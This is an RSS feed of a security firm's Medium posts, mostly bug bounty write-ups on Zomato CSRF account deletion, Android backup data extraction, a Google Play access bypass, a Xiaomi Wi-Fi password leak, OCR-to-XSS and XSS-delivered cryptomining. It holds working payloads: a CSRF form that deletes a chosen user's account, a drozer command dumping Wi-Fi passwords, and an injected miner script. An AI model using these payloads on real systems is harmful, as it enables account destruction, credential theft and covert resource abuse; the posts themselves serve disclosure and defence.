<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by VRSECLABS PVT. LTD. on Medium]]></title>
        <description><![CDATA[Stories by VRSECLABS PVT. LTD. on Medium]]></description>
        <link>https://medium.com/@vrseclabs?source=rss-5f651e1554ee------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*302SizSJlVzDCHS0cOamyg.png</url>
            <title>Stories by VRSECLABS PVT. LTD. on Medium</title>
            <link>https://medium.com/@vrseclabs?source=rss-5f651e1554ee------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 12:47:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vrseclabs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[IOS camera do not detect or warn against homograph domains leading to malicous website]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-snippet">What is required to reproduce the issue?</p><p class="medium-feed-link"><a href="https://vrseclabs.medium.com/ios-camera-do-not-detect-or-warn-against-homograph-domains-leading-to-malicous-website-5a39829d896c?source=rss-5f651e1554ee------2">Continue reading on Medium »</a></p></div>]]></description>
            <link>https://vrseclabs.medium.com/ios-camera-do-not-detect-or-warn-against-homograph-domains-leading-to-malicous-website-5a39829d896c?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a39829d896c</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ios]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[apple]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Sun, 10 May 2026 08:16:34 GMT</pubDate>
            <atom:updated>2026-05-10T08:19:12.208Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[How i deleted your zomato account !]]></title>
            <link>https://vrseclabs.medium.com/how-i-deleted-your-zomato-account-e9e139c9ddf0?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9e139c9ddf0</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Fri, 28 Jul 2023 09:53:36 GMT</pubDate>
            <atom:updated>2023-07-28T09:53:36.427Z</atom:updated>
            <content:encoded><![CDATA[<h3>How i deleted your zomato account !</h3><p>Hi, friends :D,</p><p><strong>Zomato</strong> is an online restaurant search and discovery service providing information on home delivery, dining-out, cafés and nightlife for various cities of India and 21 other countries. It has 62.5 million registered users.</p><p>I was catched by it soi was messing around with zomato now while checking out the settings section i found the “delete my account ” option and after clicking on that a prompt will occur like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*nC2rMv49fZBtgdyF" /></figure><p>Now to delete the account you have to type delete inside it and confirm! but there was a flaw there was no csrf token available to validate the request!.</p><p><strong>What is CSRF TOKEN ?</strong><br>CSRF token is a protective measure used to prevent cross site request forgery attacks which checks that the request is coming from the legitimate user or not !</p><p><strong>Now Exploitation Part </strong><br>I created a quick working code which allows you to delete the any user’s account so now to delete his or her account you just need to send this code via html or as a link. 😛</p><p><strong>Code?<br>&lt;html&gt;<br>&lt;body&gt;<br>&lt;form action=”</strong><a href="https://www.zomato.com/php/delete_user_profile.php"><strong>https://www.zomato.com/php/delete_user_profile.php</strong></a><strong> method=”POST”&gt;</strong></p><p><strong>&lt;input type=”hidden” name=”reason” value=”woot woot”&gt;</strong></p><p><strong>&lt;input type=”hidden” name=”userid” value=”[User ID to whom you wanna delete]”&gt;</strong></p><p><strong>&lt;input type=”submit” value=”Submit request”&gt;</strong></p><p><strong>&lt;/form&gt;</strong></p><p><strong>&lt;/body&gt;<br>&lt;/html&gt;</strong></p><p>Video Poc :<br>save this as delete.html and send this to your friend!</p><p><a href="https://www.youtube.com/watch?v=fRjdyg6s9rU">https://www.youtube.com/watch?v=fRjdyg6s9rU</a></p><p>Exploitability?</p><p>it was easy to grab any user ==&gt;userid by just visiting their profile and copy that user id. Which increased it severity 😉</p><p>Fixing Time line:</p><p>[+] July 21, 2015 Reported to Support team</p><p>[+] Bug Fixed by team .</p><p>Let #internet be #safer place 🙂<br>signoff</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9e139c9ddf0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding backup vulnerabilities in android apps]]></title>
            <link>https://vrseclabs.medium.com/finding-backup-vulnerabilities-in-android-apps-6b87330f97b3?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/6b87330f97b3</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Fri, 28 Jul 2023 09:50:12 GMT</pubDate>
            <atom:updated>2023-07-28T09:50:12.287Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone this post is just an elaboration of the <strong>10th</strong> point that I made it in my <a href="https://vishwarajbhattrai.wordpress.com/2017/02/28/mobile-app-security-bugs-which-are-actually-counted/">previous post</a> which is being often missed by dev/hunters while looking for bugs in android apps although this issue is not new and more then a vulnerability it is a misconfiguration.</p><p><strong>Why backup?</strong></p><p>Just like any other OS android system allows a user to make the backup of their app that’s cool but from our end, we are concerned about whether any sensitive information is being leaked in the backup or not and whether it has been loosely configured.</p><p><strong>Tools Required?</strong></p><ol><li>Adb</li><li>Abe</li><li>Apktool</li><li>Genymotion</li></ol><p><strong>How to proceed :</strong></p><ol><li>To check whether any app allows the backup you need to first reverse the apk and find the manifest file to do so execute <strong><em>apktool d &lt;app-name.apk&gt;</em></strong></li><li>Check-in <strong>AndroidManifest.xml</strong> file for the attribute<strong><br>android:allowBackup=” true”</strong> if this is present and its value is set to <strong>true</strong> it means we can backup the app internal data which resides under<br><strong><em>/data/data/&lt;app-package&gt;</em></strong></li><li>To backup the app hit the <strong><em>adb backup -f &lt;backup-name.ab&gt;<br>&lt;app-package-name&gt;</em></strong></li><li>Accept the backup confirmation from the device.</li><li>Now you will have the <strong>app-backup.ab</strong> file in your working directory</li><li>To read this you need to convert this .<strong>ab</strong> file into a <strong><em>.</em>tar</strong> format using the tool<br><a href="https://github.com/nelenkov/android-backup-extractor">Android Backup Extractor</a><br><strong>Command<em> : java -jar abe.jar unpack app-backup.ab</em></strong></li><li>Then you can extract this tar file using <strong><em>tar xvf app-backup.tar </em></strong>t</li><li>To make this process short I have written a custom tool <a href="https://github.com/vishwaraj/PentDroid">pentdroid</a> which automates all the above android operations.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*jg18PiMYORuObS0V" /></figure><ol><li>Just select the operation <strong>6</strong> for reversing an app, <strong>4</strong> (For taking backup of an app ) then finally select option <strong>5</strong> to convert the <strong><em>backup.ab</em></strong> into <strong><em>backup.tar.</em></strong></li><li>Once you will get .tar file extract it using <strong>WinRAR</strong></li><li>Once it has been extracted you will get the folder residing in <strong><em>/data/data </em></strong>directory.</li><li>Try to explore the various files including assets like <strong><em>.db, sharedprefs.xml </em></strong>and search for sensitive information sometimes you will find <strong>developers secrets, pass, auth token for API’s</strong> etc</li><li>Here I got one such case while reporting to one of the android programs where I was able to obtain auth token stored in one of the <strong><em>.db</em></strong> files.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ZKCe2hd_JbHCpCiI" /></figure><ol><li>I have used <a href="http://sqlitebrowser.org/">SQLite browser </a>to see the info of .<strong>db</strong> files.</li><li>By using the obtained token we can make calls to the API endpoint to fetch more information.</li></ol><p><strong>Why bother about this if we can find something by just rooting the device?</strong><br>With this, you don’t need a rooted device to obtain data from apps internal directory ! and well this respect the program scope too as compared to the other OWASP-M2 issues which require you to have a rooted device.</p><p><strong>Any Patch or recommendation?</strong></p><p>1.)Try to Implement sqlcipher which encrypts the SQLite DB check out &gt; <a href="http://lomza.totem-soft.com/tutorial-add-sqlcipher-to-your-android-app/">http://lomza.totem-soft.com/tutorial-add-sqlcipher-to-your-android-app/</a></p><p>2.) Set <strong><em>android:allowBackup=false</em></strong> within the android manifest file to disallow the access.</p><p>3.)Even do not let apps to upload backups in clouds containing sensitive info in clear text.</p><p>#signoff</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6b87330f97b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mobile app security : Bugs which are actually counted]]></title>
            <link>https://vrseclabs.medium.com/mobile-app-security-bugs-which-are-actually-counted-e8bd5edd344f?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8bd5edd344f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[development]]></category>
            <category><![CDATA[app-development]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Sat, 01 Jul 2023 09:29:29 GMT</pubDate>
            <atom:updated>2023-07-01T09:30:11.074Z</atom:updated>
            <content:encoded><![CDATA[<h3>Mobile app security : Bugs which are actually counted</h3><p><em>This post is just all about few thoughts on VAPT and regarding security programs for mobile apps not related to Mobile OS security | Malware research | Reverse Engineering.</em></p><p>Mobile app security is a buzzword these day’s and quite tangled and <strong>contradictory</strong> in itself after the arrival of <strong><em>IOT</em></strong> it became even more important to assess your apps to prevent the attacks against these systems! but in reality, the major culprit has always been the web services running in the background <strong><em>REST</em> in peace. </strong>So the question is who we are actually pentesting is it API or mobile app and if its API then we are only doing the same burp kinds of stuff like we used to do in web then<br>what is actual mobile app security?</p><p>Just imagine for a while who will give his/her own iPhone 6 /Android device that too jailbroken to find something in plaintext in plist! seriously?</p><p>There are too many protection levels within the system to prevent the exploitation itself ! and infosec guys while reporting be like.</p><p><strong>Hi team, </strong><br><strong>Here is an insecure local storage flaw imagine that the <em>device has been stolen, rooted &amp; jailbroken.<br>I dare you if you will say in the case of IOS.</em></strong></p><p>(okay just modify it *<strong>we have physical access to the device for a while</strong> *)</p><p><strong>Rooting or jailbreaking</strong> a device will itself will give you higher most privilege within the device so there is no point of reporting <strong>insecure local storage</strong> which is termed M2 in owasp<br><strong>unless the data is stored with world readable permission</strong> in <strong>sdcard</strong><br>Most of the companies won’t give a damn if the app you have tested was on rooted/jailbroken device and the twist is entire Owasp was written with respect to the emulator which comes pre-rooted.</p><p>Below are some knockout on face regarding flaws from programs :<br>and half of the owasp top 10 went off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*h9CqGWaa4qE7jZmo8P-_fA.png" /></figure><p>That’s the reality of <strong>acceptance</strong> of app-based vulnerability no doubt you will get those issues in any random app from the app store but it won’t have much impact.</p><p>I would rather prefer this path <strong>sdcard/android/</strong> instead of this <strong>data/data</strong></p><p><strong>So what are some accepted issues about mobile app’s ?</strong></p><p><strong>Ans</strong>: In general any bug which has significant impact without having many privileges on device more better if you can exploit it remotely like code execution, web-view exploits! (but I guess these web-kits issues are dead these days )</p><p>Try to pentest having least privilege on an unrooted android device.<br>(Now it sounds like your hands + legs are being tied up)<br>next thing you will ask how to proceed and possible on an unrooted device? I will post about it! few of my poc’s</p><p>Few of the issues I worked upon and helped me regarding android which at-least counts in acceptance are :</p><ol><li>Sensitive information leaked like access_tokens in logs during debugging.</li><li>Fragment injections.</li><li>Arbitrary code execution but there are constraint’s in this too you need to have world readable + writable permissions to overwrite the native libraries + to execute it remotely you need MITM.<br>and even after doing all<br>the feeling still you got <strong>informative</strong> trust me i was here 😛</li><li>Xxe lucky if app is parsing xml entities you can try those apps who parse pdf,docx etc</li><li>Remote code execution via web-views (addjavascriptinterface();)</li><li>Sensitive Api calls and <em>Idor</em> .</li><li>Exported intents which are helpful in bypassing authentication or screens</li><li>Exported broadcast receivers like making a phone call by passing params.</li><li>Tapjacking at OAuth endpoints just like clickjacking issue in the web at OAuth buttons</li><li>Backup issues like android: backup=” allow” which will help you make a backup of the app and explore the sensitive stuff on it.</li><li>Exported components without custom permissions include activities, receivers<br>[which also can be bypassed]</li><li>I consider SSL pinning should be here but still, bug bounty programs will cry coz it can be bypassed using Cydia substrate, ssl killer or exposed framework modules.</li></ol><p><strong>What about IOS?<br>Ans</strong>:</p><ol><li>Some of the above issues are also relevant to ios too.</li><li>Ios too have web-views which can be exploited using file Uri:// to trigger facetime calls improper URI schemes this can allow attackers, for example, send unauthenticated tweets and bypass popup blockers</li><li>Check again rest API calls</li><li>Do traffic analysis</li></ol><p><strong>So : </strong><br>App related issues which are found on a jail-broken device doesn’t count unless you got a privilege escalation exploit on the device!</p><p>These are some of my own thoughts on mobile app sec especially related to bug acceptance and feasibility of exploitation and does not intends to hurt any one’s feelings.</p><p>Thanks for reading guys and for being here 🙂<br>let me know your thoughts in the comment .</p><p>$Logout<br>Vishwa</p><p>Old post:<br><a href="https://vishwarajbhattrai.wordpress.com/2017/02/28/mobile-app-security-bugs-which-are-actually-counted/">https://vishwarajbhattrai.wordpress.com/2017/02/28/mobile-app-security-bugs-which-are-actually-counted/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8bd5edd344f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Missing access control at Gooplay store]]></title>
            <link>https://vrseclabs.medium.com/missing-access-control-at-gooplay-store-841f9c4cbfae?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/841f9c4cbfae</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[android-app-development]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Sat, 24 Dec 2022 19:11:54 GMT</pubDate>
            <atom:updated>2022-12-24T19:11:54.670Z</atom:updated>
            <content:encoded><![CDATA[<h3>Missing access control at Google Play store</h3><p><strong>Summary:<br></strong>Google play store developer account has an invite feature which allows admin user to invite other colleagues/developers for managing the account as well as app releases. With this issue, an invited user with limited permissions was able to see the information of other apps as well, which was not permitted by the account owner.</p><p><strong>Steps to reproduce:</strong></p><p>1.) Login to <a href="https://play.google.com/apps/publish/">https://play.google.com/apps/publish/</a> as owner A using chrome.<br>2.) Now from A account visit Settings &gt; Developer account &gt; Users &amp; Permissions.<br>3.) Now send an invite to user B with read-only permissions.<br>4.) Click on invited link and login to B account using Firefox.<br>5.) Now from A account change the user B permissions and restrict its visibility to one app with read-only permissions.<br>6.) Now from B account hit refresh he will only be able to see one app which is permitted by user A from dashboard he cannot see the other listed apps.<br>7.) To bypass this check just visit this URL from B account<br><a href="https://play.google.com/apps/publish/?account=5765075562513459389#StatisticsPlace:p=com.dummiesguideto.indiantrain">https://play.google.com/apps/publish/?account=5765075562513459389#StatisticsPlace:p=com.dummiesguideto.indiantrain</a><br>8.) Where 5765075562513459389 is account id which will be there by default and com.dummiesguideto.indiantrain is the package name of the app.<br>9.) Now user B is able to watch the information of other apps which are present in A account despite A has applied the restrictive view of apps for user B.</p><p><a href="https://www.youtube.com/watch?v=Bu9XKyDrybI&amp;feature=youtu.be"><strong>Video Poc</strong></a></p><p><strong>Timeline:<br></strong>6-April-2018-Reported.<br>6-April-2018-Triaged.<br>17-April-2018-Fixed and 5k bounty was rewarded.<br>5-Sept-2018-Granted permission for public disclosure.</p><p>Thank you for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=841f9c4cbfae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Disclosing wifi password via content provider injection in Xiaomi]]></title>
            <link>https://vrseclabs.medium.com/disclosing-wifi-password-via-content-provider-injection-in-xiaomi-b7cf73c5f1f7?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7cf73c5f1f7</guid>
            <category><![CDATA[xiaomi]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[android-app-development]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[bugbounty-poc]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Sat, 24 Dec 2022 19:08:27 GMT</pubDate>
            <atom:updated>2022-12-24T19:08:27.547Z</atom:updated>
            <content:encoded><![CDATA[<h3>Summary:</h3><p>The saved Wi-Fi passwords in Android are stored in the data\misc\wifi directory which can only be accessed if you have root access. So in general you cannot list or access the /data directory until and unless you have root access or the files are world readable writable .</p><h3>Device used:</h3><p>(Xiaomi Redmi note 7 pro 9)</p><p>➜ appreview adb shell getprop | grep -E &quot;ro.miui.region|ro.build.fingerprint&quot;[ro.build.fingerprint]: [xiaomi/violet/violet:9/PKQ1.181203.001/V10.3.13.0.PFHINXM:user/release-keys]</p><p>[ro.miui.region]: [IN]</p><h3>Poc steps:</h3><p>Connect the device and run the below drozer command it will dump the wifi passwords along with other details in cleartext</p><p>run app.provider.query content://wifi/wifi</p><h3>Fix:</h3><p>Don’t export the content provider containing user information.<br>Protect it via custom permissions. Or store it in encrypted format.</p><h3>Impact</h3><p>Any app within the system can query and fetch wifi credentials which is not permitted by default by the system because to access the stored password the device need to be rooted but here it is easily available using which malicious app can login into victims router and can also alter the dns settings which will disclose user browsing activites to the attacker</p><h3>Disclosure Timeline</h3><p>Reported on Jul 18th 2019<br>Triaged on Jul 18th 2019<br>Fix reviewed and ticket closure on Sep 11th 2019</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b7cf73c5f1f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OCR to XSS]]></title>
            <link>https://vrseclabs.medium.com/ocr-to-xss-42720d85f7fa?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/42720d85f7fa</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[appsec]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[ocr]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Sat, 08 Sep 2018 13:46:18 GMT</pubDate>
            <atom:updated>2018-09-08T13:46:18.426Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Readers,</p><p>Optical Character Recognition(OCR) is the process of electronically extracting text from images or any documents like PDF and reusing it in a variety of ways such as full-text searches, invoice processing, document verification etc. This one such use case will be harmful as obvious when those extracted texts/results are used somewhere within the application or being reflected without validation.</p><p>So we just need to prepare an image containing our XSS vector which if the parser parses and reflects the output to the users it will lead to XSS.</p><p>I will take simple jpg as an example</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*hA2YF2VAP--LbT_8.jpg" /></figure><p>you can create an image like that from <a href="http://text2image.com/">here</a>.</p><p><strong>Poc:</strong></p><p>I am using <a href="https://github.com/tesseract-ocr/tesseract">tesseract</a> for OCR along with a simple flask server which accepts the image as input and it parses and reflects back the extracted content to the admin or another user. You can find the code <a href="https://github.com/vishwaraj/ocrtoxss">here</a>.</p><ol><li>To start hit python ocr.py</li><li>Now visit local server 127.0.0.1:5000</li><li>Upload the above file</li><li>Now visit /admin/ocr/files</li><li>you will see the alert</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*MvDUWenABz40XcHj.png" /></figure><p>Similarly, create an image with the tag or blind XSS payload to confirm a pingback to your local server.</p><p><strong>Note:</strong></p><p>Different parser acts differently to some character like tesseract will treat forward slash “/” as L so when you will put http:// it will become http:/l because of which it won’t work in the browser so for that I am using backslashes. like that, we have to figure out for others too.</p><p>Here I am using ngrok.io just for confirming the ping you can use burp collaborator or any other tool. So create your image with this content and upload and see if you get any hits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*51r4s2bS3hIkezXK.jpg" /></figure><p><strong>Response:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/0*Ud0-yHu23hn8kiso.png" /></figure><p><strong>Fix:<br></strong>If you are using OCR services not only filename but also sanitize the extracted text from the image or pdf before storing them into DB.</p><p>Once you upload an image check the response whether the contents of an image are also reflected? if yes it’s possible somewhere it is being used and if there is no check on how the output text is being reflected then it can lead to the XSS especially apps which are using OCR services.</p><p>So next time when you see any application asking for KYC or for uploading scanned documents, passport size photo, document verification you can mess around it.</p><p>Hope it helps thanks.</p><p>you can reach out to me here <a href="https://twitter.com/vishwaraj101">@vishwaraj101</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42720d85f7fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Next XSS gonna cost you some CPU]]></title>
            <link>https://vrseclabs.medium.com/next-xss-gonna-cost-you-some-cpu-65e3b3cb998d?source=rss-5f651e1554ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/65e3b3cb998d</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[mitm-attacks]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[mining]]></category>
            <dc:creator><![CDATA[VRSECLABS PVT. LTD.]]></dc:creator>
            <pubDate>Tue, 07 Nov 2017 13:48:10 GMT</pubDate>
            <atom:updated>2023-08-27T08:36:19.030Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi Friends,</p><p>This post describes how common web application vulnerabilities are being exploited around the web by bad guys to mine some cryptocurrencies. I will be talking about <strong>cross site scripting (XSS)</strong> due to its versatile nature. For those who don’t know about XSS, please checkout the <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)"><strong>OWASP</strong></a> guide.</p><h4>How a XSS attack looks like ?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FPe4KjmGPcYRLDWG_3v9mg.gif" /><figcaption>Image Source google</figcaption></figure><p>This above image describes about any general stored XSS attack in progress.Where attacker injects its malicious javascript and when the victim visit that page he get’s hooked the only difference here is attacker injects his <strong>mining script</strong> on a XSS vulnerable page instead of general popup alert(1) or cookie stealing javascript . Once the victim visit that infected page unknowingly the victim browser will start mining for the attacker ! .</p><h4>Mining script ?</h4><p>A piece of code if loaded in browser will instruct browser to start mining.</p><h4>Idea / Need behind mining javascript?</h4><p>Simple reason monetization instead of using ads now websites can monetize by using visitor’s cpu dedicated for mining . Its a result of creativity around cryptocurrencies the way community is evolving and going places is amazing the script helps any user to dedicate it’s cpu just from his/her browser and start mining process hassle free <a href="https://coinhive.com/dashboard">coinhive.com</a> is one such example doing in a good way <a href="https://coinhive.com/dashboard">just check out</a> .</p><blockquote>Note : I am not affiliated to coin hive and coin hive just provide monetization platform using cryptocurrencies</blockquote><h4>Demo mining script ?</h4><pre>&lt;script src=&quot;https://coinhive.com/lib/coinhive.min.js&quot;&gt;&lt;/script&gt;<br>&lt;script&gt;<br>	var miner = new CoinHive.User(&#39;&lt;site-key&gt;&#39;, &#39;john-doe&#39;);<br>	miner.start();<br>&lt;/script&gt;</pre><p>In a nutshell, it first loads the script from specified content delivery network or website then it authenticates with the user’s account by passing these params <strong>&lt;Site-key&gt;&lt;John-doe&gt;</strong></p><p>Here <strong>&lt;Site-key&gt; - </strong>it<strong> </strong>is a mandatory public key provided by coin hive for identification of the user and <strong>&lt;John-doe&gt; - </strong>is an optional param used as the worker name and then it calls the function <strong>miner.start(); </strong>to start the mining process utilizing user browser.</p><blockquote>you can generate <strong>&lt;Site-key&gt; </strong>value using coinhive.com</blockquote><h4>Will you see any changes in your device ?</h4><p>You will be able to see massive rise in your cpu usage around 90 -100 %. If your system is using more then 90 % without you being using any heavy application, then there is something fishy ! You can close your browser and restart it .</p><h4>How JavaScript is able to do so ?</h4><p>Please checkout the below threads it will give you some rough idea about the implementation .</p><p><a href="https://bitcoin.stackexchange.com/questions/10320/how-useful-is-a-javascript-miner">How useful is a JavaScript miner?</a></p><p><a href="https://bitcointalk.org/index.php?topic=27056.0">Thread 2</a> &amp; <a href="https://bitcointalk.org/index.php?topic=4618.msg191488#msg191488">Thread3</a></p><h4>Network level attack</h4><p>Here I have attached a POC how an attacker in your network can exploit and force you to mine for him !</p><h4>Demo :</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FdZfuGzAN7NA%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DdZfuGzAN7NA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FdZfuGzAN7NA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/8bcddd8f83bc78676493f4a9f345872f/href">https://medium.com/media/8bcddd8f83bc78676493f4a9f345872f/href</a></iframe><p><strong>Video Explanation :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*Hqvkpes1-VRyjuLHjUfEgw.png" /><figcaption>Image Source google</figcaption></figure><p>Attacker creates a fake public WiFi hotspot and starts the <strong>Man in the middle attack (MitM) with a mix of sslstrip and traffic injection .</strong></p><p>What is <strong>Man-in-the-Middle attack ?</strong></p><p>In simple words<strong> Mitm</strong> occurs when an attacker places himself between the website server and the client’s browser, either to eavesdrop or to impersonate one of the parties, making it appear as if a normal exchange of information is underway.</p><p>when any user tries to connect and surf internet through the wifi hotspot it works as a proxy and reroutes all the traffic from <strong>https to http</strong> this happens due to <strong>sslstrip </strong>and <strong>yes browser won’t display any SSL Certificate errors </strong>hence the victims have no clue that such an attack is going on.</p><p>In the meanwhile attacker is doing <strong>traffic injection</strong> by replacing the legit javascript of the requested page with the <strong>mining script</strong> and serving the same to the victim browser hence now the situation becomes similar like an stored xss using <strong>mining javascript</strong> as described above<strong> ,</strong>Now the victim browser will start the mining process and everything will occur in stealth mode .</p><h4>What’s a fair deal ?</h4><p>Any website who implements monetization using mining should ask for user confirmation by putting a disclaimer or popup alert .</p><h4>How to remain safe against such cases ?</h4><p>For now you can install some plugin in your browser which will prevent you from loading any malicious mining scripts here is one such plugin for chrome <a href="https://chrome.google.com/webstore/detail/no-coin-block-miners-on-t/gojamcfopckidlocpkbelmpjcgmbgjcl?hl=en">No coin Plugin</a></p><h4><strong>Take Away for users</strong></h4><ol><li>Install either <a href="https://chrome.google.com/webstore/detail/https-everywhere/gcbommkclmclpchllfjekcdonpmejbdp?hl=en"><strong>HTTPS Everywhere</strong></a> or Force TLS (HTTPS Everywhere is easier to use). This tells your browser to use the SSL versions of web sites, where possible.</li><li>Don’t ignore any kind of <strong>SSL certificate error message</strong> if connected to any WiFi or internet connection.</li><li>For detecting MitM attack, mobile users can use <a href="https://play.google.com/store/apps/details?id=com.myprog.arpguard&amp;hl=en"><strong>ARP guard</strong></a> it will alert user when it detects any kind of ARP poisoning.</li></ol><h4>For Websites Owners .</h4><ol><li><strong>Implement HSTS (Strict Transport Security)</strong>. This mechanism instructs the browser to always connect only via HTTPS and not HTTP .</li><li><strong>Always use an SSL Certificate throughout the whole website</strong>. In other words, make sure to host all your content such as pictures, files and videos on HTTPS.</li></ol><p><strong>Links for some readup :</strong></p><p><a href="https://thehackernews.com/2017/09/pirate-bay-cryptocurrency-mining.html">Hackernews Pirate Bay Case</a></p><p><a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man in the Middle Attack</a></p><p><a href="https://avicoder.me/2016/02/22/SSLstrip-for-newbies/">SSL STRIP</a></p><h4>Tools used</h4><p><a href="https://www.bettercap.org/"><strong>bettercap</strong></a></p><h3>My Book on Amazon</h3><p>Read my book <a href="https://amzn.to/3QUYCjc"><strong>Attacking web apps for cryptocurrencies</strong></a> on amazon to read more on various attack techniques.</p><p>Last words:</p><p>Because of the blast of cryptocurrencies from past few years. The flavour of web attacks are also changing and so the motive who knows, if you are connected to a public WiFi right now you might be mining for them. Above are some general points which can help you avoid such scenarios. Take this as an educational post written just to spread awareness on what’s going beneath the source code.</p><p>Suggestions and edits are most welcomed, just comment down below.You can reach out to me on twitter or follow up @ vishwaraj101</p><p><strong>Thank you for reading :) <br>#signoff</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65e3b3cb998d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>